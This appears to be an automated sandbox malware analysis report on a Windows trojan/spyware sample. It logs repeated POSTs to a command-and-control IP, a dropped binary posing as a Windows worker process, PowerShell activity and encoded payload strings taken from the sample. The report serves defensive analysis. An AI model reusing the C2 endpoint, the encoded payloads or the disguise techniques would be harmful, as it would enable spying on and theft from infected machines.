Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2108Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145
Source: unknown	TCP traffic detected without corresponding DNS query: 109.107.182.145

Source: unknown

HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.107.182.145/
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.107.182.145/ExternalVm_CpuGameWindows.php
Source: powershell.exe, 00000001.00000002.2656640543.000001BDF7D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2654509364.000002836EA10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000001.00000002.2444317338.000001BD90075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2471826648.0000017490075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1810438460.000001BD80227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC29717000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: fDTPlvsGfH.exe, 00000000.00000002.1670534980.0000000002681000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1810438460.000001BD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356711000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC294F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19131000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1810438460.000001BD80227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC29717000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2653419167.000001BDF7D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: powershell.exe, 00000008.00000002.2811470724.000001DB315B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000004.00000002.2632823645.000001DC416B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000001.00000002.1810438460.000001BD80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1855541530.0000028356711000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1876718568.000001DC294F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1814710733.0000017480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1975526047.000001DB19131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.1975526047.000001DB19358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2444317338.000001BD90075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2471826648.0000017490075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2731389868.000001DB291A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

.NET source code contains very large strings

Source: fDTPlvsGfH.exe, s67.cs

Long String: Length: 1085504

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File created: C:\Windows\Downloaded Program Files\1f93f77a7f4778	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9B8C3415	0_2_00007FFD9B8C3415
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Code function: 0_2_00007FFD9B8B1EC3	0_2_00007FFD9B8B1EC3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8853F2	1_2_00007FFD9B8853F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8853F2	4_2_00007FFD9B8853F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9B9630E9	6_2_00007FFD9B9630E9

Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\AHvxDOtC.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\AZWFwAgV.log CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4

Source: fDTPlvsGfH.exe, 00000000.00000002.1742365987.000000001BC9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs fDTPlvsGfH.exe
Source: fDTPlvsGfH.exe, 00000000.00000002.1742365987.000000001BC9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs fDTPlvsGfH.exe
Source: fDTPlvsGfH.exe, 00000000.00000000.1623414051.0000000000062000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs fDTPlvsGfH.exe
Source: fDTPlvsGfH.exe, 00000000.00000002.1739558969.000000001B232000.00000002.00000001.01000000.00000000.sdmp	Binary or memory string: OriginalFilenameq944h9VdeekiaLj6nIEA0nxdMfYwMGO54 vs fDTPlvsGfH.exe

Source: fDTPlvsGfH.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: fDTPlvsGfH.exe, E32.cs	Cryptographic APIs: 'TransformBlock'
Source: fDTPlvsGfH.exe, E32.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: fDTPlvsGfH.exe, E32.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: fDTPlvsGfH.exe, s67.cs	Base64 encoded string: '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
Source: fDTPlvsGfH.exe, 8B6.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: fDTPlvsGfH.exe, 76n.cs	Base64 encoded string: 'KFedVk6Jp6daKp14vgxDdZRktmOg5lwc5CA7/fZyiXHMJeSDNVMb6pS/Ws+8RCCzFnl8vTvVDhuqGlce+glEtxuqKS8O8c3gtQa1djaWX8mSMgRcZkKB/b1CbeNC8zbp/fFbbK3TR40223KM0fny1Q==', 'L0WK91MRN8GPeU+oikW92KUnyNkiIPnSvolXk+UKA1aI3vP6rVo6Me+pxgOllrKJDdcmOZ4Adlt6PE9bkEGQVEwEvDCQKnoRPibOJmhL7yvD+1TdQ9V8ZvXogsu4ei+AJzju2B/7qIn98KgLxRcntHsrKHzTDgFsGp0v47jfJgF90xsw1m8GRmidRSyW2hoEPmZLPOgf+RtuUG1euK3l1Naou827rapizdphJfuIw6pLdyR0oIKGmg137zZaRZd6'
Source: fDTPlvsGfH.exe, 52Z.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/397@0/2

